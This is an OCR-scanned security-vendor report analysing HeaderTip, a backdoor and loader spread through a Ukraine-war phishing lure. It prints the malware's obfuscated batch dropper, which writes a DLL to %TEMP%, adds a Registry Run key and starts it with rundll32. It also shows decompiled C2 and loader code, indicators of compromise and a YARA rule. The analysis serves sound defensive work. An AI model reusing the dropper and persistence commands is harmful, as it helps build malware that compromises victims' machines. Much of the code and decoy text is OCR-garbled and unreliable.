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Since humans are still the weakest link in cybersecurity, threat actor(s) continue to prey on fallible human nature
to launch cyberattacks. As the Russia-Ukraine conflict continues to impact the global economy and draw
worldwide attention, these tensions create opportunities for threat actor(s) to designing campaigns to exploit

human vulnerabilities and anxieties stemming from the Russia-Ukraine conflict.

HeaderTip is a malware used by threat actor(s) that are leveraging the current Russia-Ukraine conflict to spread
persistent malware. eSentire Threat Intelligence assesses with high confidence that HeaderTip serves as a

backdoor and a loader for threat actor(s) to further deploy rootkits, trojans, or other types of malware.

eSentire’s Threat Intelligence team has performed a technical malware analysis on HeaderTip. This technical
analysis provides a breakdown of how HeaderTip achieves the persistence on the infected machine and how it

obfuscates the code to evade detections.

Key Takeaways

» eSentire Threat Intelligence assesses with high confidence that the initial access vector for HeaderTip was a
phishing attack.

e The threat actor(s) is using obfuscation techniques in the malware sample to hinder the analysis and avoid
detection.

o The malware achieves the persistence via Registry Run Keys that link to the dropped files in %TEMP%
folder.

o HeaderTip utilizes ChangelP for Dynamic DNS (DDNS), which allows the attacker(s) to evade detections.

o eSentire’s Threat Response Unit (TRU) created two new detections to identify the HeaderTip malware.

Case Study

On March 22, 2022, the Computer Emergency Response Team of Ukraine (CERT-UA) detected the RAR-archive
translated as, “The preservation of video materials on criminal actions from Russian military” from a Ukrainian

organization. The malware campaign is dubbed as HeaderTip and is being tracked as UAC-0026.

CERT-UA reported that they observed similar activity in September 2020. In addition, researchers at SentinelOne
have tied the malware campaign to the suspected Chinese group of threat actors known as Scarab. The Scarab

malware was first observed in 2012 targeting organizations in Russia, Ukraine, United States, Chile, and Syria.

Technical Analysis on HeaderTip
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The RAR archive contains an executable with the same naming convention as the archive. The executable has an

embedded PDF file and is not signed. The 32-bit executable is written in C++ programming language with a file

size of 653 KB.

An overview of the malicious files, domains and IPs related to HeaderTip (Exhibit 1).
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Exhibit 1: Overview of HeaderTip malicious

files from VirusTotal graph

The executable file contains the .RCData section with an embedded PDF file which is likely used as a bait. The

PDF document contains information from the National Police of Ukraine with instructions on how to retain video

evidence on criminal activities conducted by the Russian military in Ukraine so they can be used in investigations

by the Criminal Investigative Division of Ukraine (Exhibits 2-3).

The metadata indicates that the PDF document was

created on March 16, 2022, which is the exact date when the

document was issued and signed. We assess with high confidence that the document was not forged. The

document was written by a native Ukrainian speaker, based on grammatical accuracy and vocabulary.
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Exhibit 2: The resource containing a PDF header and objects
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HAIITOHAJIBHA ITOJIIIIEA
YEKPAIHH JacTymERKAM  HAYAIRHHKIE -
HAYAThHIKAM KpuMiHATEHOT
ey Borosormn, 10, s Kuis, 01601, modinii  roJeBHNI  YOpaBdiHb
Tem, 254-93-33, mfo@police. gov.ua Hamiona euoi modimii B ofiacTax
Lnasrvmiiseamidinmii sena 40109578 Ta M. Knegi

16.03 2022 poxy Ne 21630233-2022

Ha Nz Bl

Ilpo 3bepexennn  BileomaTepiatie 3

fircamieln  JT0NEHHEX g apail

pocificbiol desepaiii

24 moToro pocii posMo¥ata BIIKPHTE BiliChKOBE BTOPTHEHHR JO0 YERpaiHm, v
ToMYy 9HCT 2 TepHTOopil Pecrybmisxm binopycs. Bae Jexinexa THAHIE BII0VBAOTRCE
PAKETHI 00CTPUMH BIRCEEOROT Ta UHELTEROT (HGDAcTPVETVPH N0 ECIA KpalRi, THHYVTE
MHpHI HTEM, SHHIYETRCA MafHO T3 BIAOYEAETBCA CHCTEMHE BIHHEHHEA BIlCHROBHX
Ta INOYHHIE TPOTH THJCTEA BiHCEEOBOCTY ROOBIIAME apai pocii

B yMOBaX BIACREOBOTO CTAaHY Ta 3HHIIEHHY, ¥ TOMY 9HCT 00'€ETIE Ta
pecypcis oprafie i migposnimie HanmioHATeHO! MO ‘r’l;pajEH_ icHYe motpeda v
MAKCHMATRHOMY sﬁepmmml BCIX AOCTYTHHX BiZeoMaTepianis Ha TRHX cpmc}mcx
EYHHEHES PiIHAX 2MOTHHIE IPMICH pOCii.

JoxkpeMa J0 TAKHX  BiJSOMATEDIATE OO BUIHECTH BiJSOSAMHCH i3
3AraTEHOOOIACHIY T4 MICBEHX CHCTEM BiJeoHarIagy (besmeune MicTo, besmesmsn
PETiON), a T4KOE IHIDEX BigeokaMep Oyvge-sxol dopuHE EBIacHOCTI mMOJ0
TEPEMIMIERNS (PyRy) BOPOEO] TEXHIKH, MOMEHTIE o0CTpimE Ta GoMOapavVEAHEA,
HAHECEHHY APTHNEPIHCEEMX M apianiffwx yJapis no KMTIOBHX OygHHKaX,
WKONAY, JHTCATKAX, JIKADHAX, E.'mxrpncrama:{ Ta iHmEX of’ckTax
3abe3nedeHEA EHTTEIIATLHOCT] Hace/eHAX MYEKTIE, 00CTPLTH KOWIOH eEakyamil
IMBUIBHHX OCID, BHNAIKH BYHHEHHA MapOJepCTEa Ta IHNIHX JHBEpCIHHO-
POSBLTYEATRHEY, IpOTHIpPABHEX i 3T0UHHEEX JisEe. Kpiv Toro, cmj opemimETE
YEATY Mmoo 20epemeHHA  BiJeOlaNMMCciE  poIMINIEHHX ¥ pIIHHN  TpymHax
«MECEHTEEDIE», DECYDCAX MEPER] IHTEpHET Ta EUISO-CHOAETIE 3pOOIEHHXI
OTEEMIITAMS TakHX 00JiH (3amscy Ha TenedoHax 1a BIIS0 peECIparopax).

3 ormamy Ha BHEIAfeHe OpOINY POIMIMHYTH NETAHEY MO0 la0eincdeHES
30epEEEHAS 333HAYCHHY EBHINE BHIE BiISOMATepialis, Ta 33 MOETHBOCTI iX
Pe3ePEHHX KOMIM, 3 METOK NOJANBMOTO JOMYSEHHA 10 MATEPIAME AOCYAOBOTO
pm:c:ﬂ:rﬁima Ia BELOPEEIHEEI III,‘I Har aHATITHIEHL AOCTTHERE TPAMBEHEAMNE
MiZPOZALME EPHMIEATEHOTO 2HAMY.

Exhibit 3: The contents of the decoy PDF document

The second resource contains the dropped .BAT file named “officecleaner.dat” with the following commands:

@echo off
set objfile=%temp%\httpshelper.dll
if not exist %objfile% (
echo | set /p="M%fgopvhrsdfertj%Z" > %objfile%
type %temp%\officecleaner.dat >> %objfile%
del %temp%\officecleaner.dat
re%ooperoitlksdfgljjdfgijtrjg%g add HK%iwejhjkhk1%CU\Software\Microsoft\Windows\C%1j1ljlkwjefiofl
start c:\windows\system32\rund1132.exe %objfile%,0AService
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) else (
set bat="bat"
)

The command is responsible for dropping a malicious .DLL (Dynamic Link Library) file (officecleaner.dat) onto
the % TEMP% folder, appends the MZ (the executable file format used for .EXE files in DOS header) to it and
renames the officecleaner.dat file as httpshelper.dll. Additionally, the batch file sets up a persistence mechanism
via Registry Run Keys. The officecleaner.dat file is removed from %TEMP% folder after successfully renaming
itself (Exhibit 4).

The de-obfuscated command is used to add the Registry Run Key with the key name “OAService” to run the
malicious httpshelper.dll file:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "httpshelper" /d
"c:\windows\system32\rundll32.exe httpshelper.dll,OAService" /f start c:\windows\system32\rundlI32.exe
httpshelper.dll,OAService
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Exhibit 4: The contents of the .BAT file

The third resource contains a .DLL file with a missing executable (MZ) header (Exhibit 5).
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Exhibit 5: Resource containing the .DLL file

Page 4 of 12




https://www.esentire.com /blog/esentire-threat-intelligence-malware-analysis-headertip

Upon analyzing the executable file in a disassembler, we found another value being added to the Registry Run
Keys (Exhibit 6):

e /creg add HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v
httpsrvlog /t REG_SZ /d

The added httpsrvlog key is responsible for running the officecleaner.bat file under the % TEMP% directory.

__int16 wvag ff
un:ignrd int wif; ff e

char ®v1l; ff =di

int w133 ff [esp+Ch] [ebp-534h]

DWORD NumberOfBytesWritten; /) [=sp+l@h] [ebp
HRSRC w15; ff [esp+l [eba-52Ch]

it W _:_[_:_.:_]; i - c
CHAR MultiByteStr[263]; //
char wid; ff [e=p+237h] [ebp
char w 4[~u;]; IF Tespi22gh [
WCHAR Buffer[262]; ff [=sp4 1 3 218h] BYR

- 181;
strepy(
q

"Je reg add HKEY_CURRENT _USERM\SOF THWARE\V\Microsoft\ \Windows\\CurrentVersionh\Run Av httpsrvlog ft REG_SI fd ")
memse (A IH[IHS], 8, &x3iu];
memset(vis, 8, shlzeof{vle));
r {

csult = FindResource(a, CWSTR}BNES, [LPUWSTR)EMA);
for { i = result; result; i = result }
{
result = [HRSRC)SizeofResource(@, i);
12 = resulty
1f  lresult )
break;
=sult = [HRSRC)LosdResource(@®, i};
if  lresult )
break;

Exhibit 6: Registry Run Key added for httpsrvliog value

We have observed the following files being dropped onto the % TEMP% folder after the running the malicious

executable:

« officecleaner.bat: the batch file responsible for persistence of the .DLL file.

« officecleaner.dat: the malicious .DLL file (before the PC reboot or execution of a batch file).
 httpshelper.dll: the malicious .DLL file (after the PC reboot or execution of a batch file)

o #2163_02_33-2022.pdf: the decoy PDF file.

Analyzing the httpshelper.dll file

The 32-bit .DLL file is written in C++ programming language. The size of the file is relatively small — 9.50 KB.
Upon analyzing the file in a disassembler, we have noticed that the malware is hiding the API imports by applying

the stackstrings and dynamically resolving APIs at runtime (Exhibit 7).
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o ebx, EOX 1 [int resalve stack strings()
oy [ebpsTE |

ma [eop+ 70 - 3| HMODULE ptr_WinInet; /) =
mov [ebps7Bhavar_l13+2], 4| rareRoC mtemnclnuuandl;, £ max
mow Btvar_18+3], 5| HMODULE USER3Z; JJ cax
mav pe7lnvar_18+4], 5| CHAR wa[24); /¢ [espan]
o twar_1345], 7 3

oy 3

mow 9

mow 18

oy 1

mov 12

mow 13

mov 12| cHar viz[15]; /

mov 15| CHAR Prockame[18]; // TREF
migd CHAR v14[16];

mov

moy

mow cchiame+]),

mov ochanciadh], ash 5 e’

mow “ochane+agh], geh 5 '

mov +Prochiane+a() ;oW

mou schianciar]

oy r_8C], &

mow Batvar_8CH],

o pr7etuar_actz], [

oy [eope7an+var_sct2],

moy [ebps7antvar_ac+d], [72

mow [ebps7antuar_ac+s],

oy Ebphi-\-& ar_8C+6],

moy [ Avar_BCH+T ],

o prfL'Huar acei], TR

mov return 1;

mow

i O0G00FRD resclre stack stzings:l [LO001BED) (Synchronized with IDR View-h, Hex View—l

Exhibit 7: Using stackstrings for obfuscation

The malware hashes the libraries and API functions by applying ROR-13 calculation to evade detections.
LoadLibraryA is used to load the Wininet library, which contains the functions that enables the application to
interact with HTTP protocol in our malware sample. GetProcAddress API is used to resolve the function’s
address. (Exhibit 8-9).

umwz[.,,) -0

ola] - 0;
dward_10814284 =
anttillisecond:
1

(st

s060;
oduct2028.mrbasic.con”);

u(nmnnseconn
= sub_1epez1cp[KERNELSZ DLLY:

dword_10884233 =

3= resuls, dword 10004284 = result, result 1= 1) ) e if (01 = -1 || (result - sub_100021¢Bkerne132 g11], 1 = result, dword 10084294 = result, result f= 1) )
dword_18884288 = sub_188021FC( ,, ¢ dword_10884289 = sub_108021FC(v1.
Gword_1686420C = sub_166621FC(v1,] Bx7CDFCAR) dord_1008429C = sub_1000217C(
12, "Sleep"), strepy(viz, “sleep”);
(_stdcall *)(_DWORD))((int (_stdcall *)(int, char *))dword_1008428C)(v1, ¥12); dnord 10004285 = (int (_stdcall *)(_DWORDII((int (_stecall “)(int, char *))dword_1000429C) (1, vi2);
g1)s sub. L6ge12ad - )5

urult [ l ) whila (
1
dvﬂl]llsecunds - dwiilliseconds =
BBOINE( am a); 3 *Sub IWBJ.SBG[ 13, SEEH 2);
gy i ()
t
dword_10@84283 (dwillicaconds); dword_18084288(dwtilliseconds);
- sub_10001306(v13, 8688, 1); 3 = sub_18001396(v13, B28@, 1);
} }

Exhibit 8: Resolved APIs and kernel32 DLL

strepy(LibFileName, "WinInet");
ame, "InternetOpenk");
InternetConnectl
"HttplOpenRequesti”
"HrtpSendRequest”
"thcrrctSctGpt-onn‘ )
'I'\tcrr‘ctQucryOth.c'\l! 'H
“InternetReadFi
"HttpQueryInfow");
"InternetCloseHandle");
if ( WinIMet )

return 1;
vl = LoadlLibraryfA(LibFilelame);
WinINet =
if (vl )
{
InternetOpentl = N stdc *){LPCUWSTR, L..'.«L,, LPCWSTR, LPCWSTR, DWORD))GetProcAddress(
InternetConnectid 5 T LPCWSTR, LPCWSTR, i} _PTR))GetProcAddress(WinIet, v9);
HttpOpenRequestll = R, LPCWSTR, LPCWSTR *, Db o |_PTR))GetProciddress(WinINet, v7);

0,
7D} YGetProcddress(uinIliet, vi);
D))GetProcAddress (WinIlet, vé

HttpSendRequestld = (BOC
InternetSetOptiontd = (2

InternetQueryOptionl = ORD) )GetProcAddress(WinIhet
InternetReadFile = ( 1) )GetProcAddress(WinINet, v1a);
HetpQueryInfoll = (. ORD, LPDWORD))GetProcAddress(WinINet, v12);
InternetCloseHand Getprocnddress(WmZ[Net,

ptr_InternetCloseHandle = (int (_ stdcall *)({_DWORD))InternetCloseHandlej

Exhibit 9: Using GetProcAddress to resolve the functions

The malicious DLL initiates the connection to the C2 domain over port 8080, the function resides in export named
OAService (Exhibit 10). The threat actor(s) is utilizing Dynamic DNS (DDNS) from ChangelP with the hardcoded
domain in the DLL sample, which means that the infected machines can connect to C2 servers using a domain
name instead of IP address. This gives the threat actor(s) a huge benefit as they can change or not have to rely on

IP addresses to avoid detection.
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2_domain

= Stringl;
while ( 1)
{
dwﬂllllseconds = 13800; f/ 18 seconds
I rnetOpen = InternetOpen_init((int)c2_domain, 8880, @);// C2 domain == product202@.mrbasic.com
1‘F ( "" _InternetOpen )

Sleep_8(dwMilliseconds);
ptr_InternetOpen = InternetOpen_init((int)c2_domain, 8088, 1});// (2 domain == product2828.mrbasic.com

size = 53282;

Exhibit 10: C2 connection over port 8080

The main C2 communication function is shown in Exhibit 11. The malware creates a POST request handle, checks
if the request is successfully received from the C2 server with HTTP response code 200, and reads 128 bytes of
data received from C2 server by calling InternetReadFile API (Exhibit 12). It also uses the User-Agent string,
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko, for C2 communications.

T
if [ hRequest )
{
for { i = hReguest; ; i = hRequest )
i
lwHumberofBytesRead = 1285
if ( !InternetReadFile(i, w6, 128u, BdwiumberOfBytesRead) || !dwHumberOfBytesRead )
break;

ptr_InternstCleseHandle{hRequest);
hRequest = 8;

wsprintfW(sz0bjectlame, L"X@LEI64xX8Ex", pir_info gatherzng, ptr_GetTickCount);
POST_reques HttpopenReque;tw(hconnect L"POST™ ObjectMams, @, 8, 8, @x34C60108, 8);
hRequest = 3"'_'—|.—‘ handl;
if ( POST_requ ]
B& ((Buffer = 1299@9
I"l'.'el"netSetOpt:LOn'ld(-;bl requesthandl, INTERNET_OPTION_SEND TIMEOQUT, Bguffer, INTERNET_DF‘TIDH_CDNNEET_EACK.DFF],
Internetsetipt iorﬂd(hneque;t, INTERMET_OPTION RECEIVE_TIMEOUT, &Buffer, 1'I'|ITEFtI'IET_{)F'T'[-’.:N'-J_ECM'\.II'IECT_E;‘-‘.EICDFF)J
HttpSendRequestiW(hRequest, @, @, (LPVOID)1pOptional, dwOptionslLength))
|| WSAGetLastError() == ERROR_INTERMET_IMVALID CA
&& (lpBuffer = 13184,
InternetSetOptionW{hRequest, INTERNET_OPTION SECURITY_FLAGS, &1
InternetSetOptionW{hRequest, INTERNET_OPTION_SECURITY_FLAGS, &
HttpSendRequestW(hRequest, 8, @, {(LPVOIDYlpOpticnal, d
&& HttpQueryInfowW(hRequest, HTTP_QUERY_FLAG_NUMBER, &1psut
8% lpBuffer == 280 ) [/ status code == OK

iTfer, INTERNET_OPTION_COMNECT BACKDFF)
fer, INTERMET_OFTION_CONNECT_BACKOFF),

return 1;

Exhibit 11: Main C2 function

We have also noticed a function containing a “Loader” string. We believe the function is responsible for loading
the DLL into the memory by using VirtualAlloc API to allocate new memory regions inside the address space of a
process (Exhibit 12). First, it compares if the file contains MZ header, then it loops through the first 4096 bytes of
the DLL file (Exhibit 13).

vd = B;

if ( l5rc )
return @;

if ( lsize )
return @;

if ( *(_BYTE *)5rc =77 ) i M
return @;

if ( *((_BYTE *)Src + 1) != 98 ) iz
return a;

ptr_loader = d11_loader((int)5rc);

if ( 'p L':uc' )]
return a;

= {char *)VirtualAlloc(®, Size, O@x3600u, PAGE_EXECUTE_READWRITE);// MEM_COMMIT | MEM_RESERVE == @x3060

return B,
memcpy (ptr_Virtualdlloc, Src, Size);

(__stdcall *)(_DwoRD, int, int *))((int (_ stdcall *)(int))&vs[ptr_loader])(a3);

if ( 've(e, 6, &vE) )
return @;
}

return vij
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Exhibit 12: Function checks for the MZ header and calls VirtualAlloc

add =bp, edi
mow e, [esitiih]

mow [esprithterg 0], eax
test =m, max

jz short loc_10001219

A

loc_1@0@1255:

dac [esp+idh+arg_B]

push  edi

push dword ptr [ebx]

call sub_180e1387

add eax, edi

push offset SubStr  ; "Loader”
push eax 3 ostr
call dsistratr

add esp, 1ih

test eaxX, cax

jnz short loc_18091283

ehp
inc chp
omp [esptlehearg_2], eax|

jnz short loc_1Be@1255
J ]_l—
ol 5 Lol =
nov eax, 186h jmp short loc_180@1110
L J
L]
M-z= | W= [

Exhibit 13: The function loops through the first 4096 bytes of the DLL file

What eSentire is doing about it

Our Threat Response Unit (TRU) combines threat intelligence obtained from research, security incidents, and the
external threat landscape to produce actionable outcomes for our customers. We are taking a holistic response

approach to combat all malware by deploying countermeasures, such as:

e Implementing two new detections to identify HeaderTip malware across eSentire MDR (Managed

Detection and Response) for Endpoint solutions.

o Performing global threat hunts against the IOCs (Indicators of Compromise) and known suspicious
activities associated with the HeaderTip malware.

 Actively monitoring for any signs of compromise.

Our detection content is supported by investigation runbooks, ensuring our SOC cyber analysts respond rapidly to
any intrusion attempts. In addition, our Threat Response Unit closely monitors the threat landscape and addresses

capability gaps and performs retroactive threat hunts to assess customer impact.

Recommendations from eSentire’s Threat Response Unit (TRU)

We recommend implementing the following controls to help secure your organization against HeaderTip malware:

e Conduct security awareness training to lower the risk of phishing threats.

 Patch any external-facing devices and applications on an ongoing basis. Conduct regular vulnerability
scans to ensure your team is staying on top of identifying, and patching, all known vulnerabilities.

o Ensure your team is enforcing strong password policies for all employees as part of strengthening your
organization’s overall cyber hygiene.

o Implement the Principle of Least Privilege (POLP) that requires giving each user only the permissions

needed to complete their task and nothing more
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While the Tactics, Techniques, and Procedures (TTPs) used by threat actor(s) grow in sophistication, they lead to a
limited set of options at which critical business decisions must be made. Intercepting the various attack paths
utilized by the modern threat actor requires actively monitoring the threat landscape, developing, and deploying

endpoint detection, and the ability to investigate logs & network data during active intrusions.

eSentire’s Threat Response Unit (TRU) is a world-class team of threat researchers who develop new detections
enriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data

and automate rapid response to advanced threats.

If you are not currently engaged with an MDR provider, eSentire MDR can help you reclaim the advantage and

put your business ahead of disruption.

Learn what it means to have an elite team of Threat Hunters and Researchers that works for you. Connect with an

eSentire Security Specialist.
Appendix

Sources

« https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine/

e https://cert.gov.ua/article/38097

e https://community.broadcom.com/symantecenterprise/communities/community-

home/librarydocuments/viewdocument?DocumentKey=8bfa7311-fdd9-4f8d-b813-
1ab6c9d2¢363&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments

Indicators of Compromise

Name Indicators

ITpo 30epexkeHHst

Bizleomarepiasis 3
839e968aa5a6691929b4d65a539c2261f4ecd1c504a8ba52abbfbac0774d6fa3

iKcalli€ro 3JIOUMHHUX il
¢ 5 A (SHA-256)

apmil pocilicbKol

tenepayii.rar

Ipo 36epeskeHHs

BifleomarepiasniB 3
) ) . 042271aadf2191749876£c99997d0e6bdd3b89159e7ab8cd11a9f13ae65fa6b1l
(ikcari€ero 3T0UMHHUX Aild

e (SHA-256)
apmii poCifCBKOI
tenepariii.exe
#2163_02_33-2022.pdf C0962437a293b1e1c2702b98d935e929456ab841193da8b257bd4ab891bf9f69
(decoy PDF) (SHA-256)
officecleaner.dat a2ffd62a500abbd157e46f4caeb91217738297709362ca2c23b0c2d117c7df38
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officecleaner.bat 830c6ead1d972f0f41362f89a50f41d869e8c22ea95804003d2811c3a09¢3160
httpshelper.dil 63a218d3fc7c2f7fcadc0f6f907f326cc86eb3f8cf122704597454c34c141cfl
C2 Domain product2020[.]Jmrbasic[.]Jcom
P 104.155.198][.]25

Yara Rules

The Yara rule for the malicious DLL and the executable:

import "pe"
import "math"
rule HeaderTip {
meta:
author = "eSentire TI"
date = "03/27/2022"
version = "1.0"
strings:
$string = "%016164x%08x" wide fullword nocase
$user_agent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" wide fi
$export = "OAService"
$d11_name = "httpshelper.dll"
$c2_domain = "product2020.mrbasic.com” wide fullword nocase
condition:
for any i in (@..pe.number_of_sections - 1): (
math.entropy(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) >=6 and
pe.sections[i].name == ".text") and
all of them and
(uint16(0) == Ox5A4D or uint32(0) == 0x4464c457f)

To learn how your organization can build cyber resilience and prevent business disruption with eSentire’s Next

Level MDR, connect with an eSentire Security Specialist now.
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GET STARTED

ABOUT ESENTIRE’S THREAT RESPONSE UNIT (TRU)

The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your
organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7
Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and
works as an extension of your security team to continuously improve our Managed Detection and Response
service. By providing complete visibility across your attack surface and performing global threat sweeps and
proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending

your organization against known and unknown threats.
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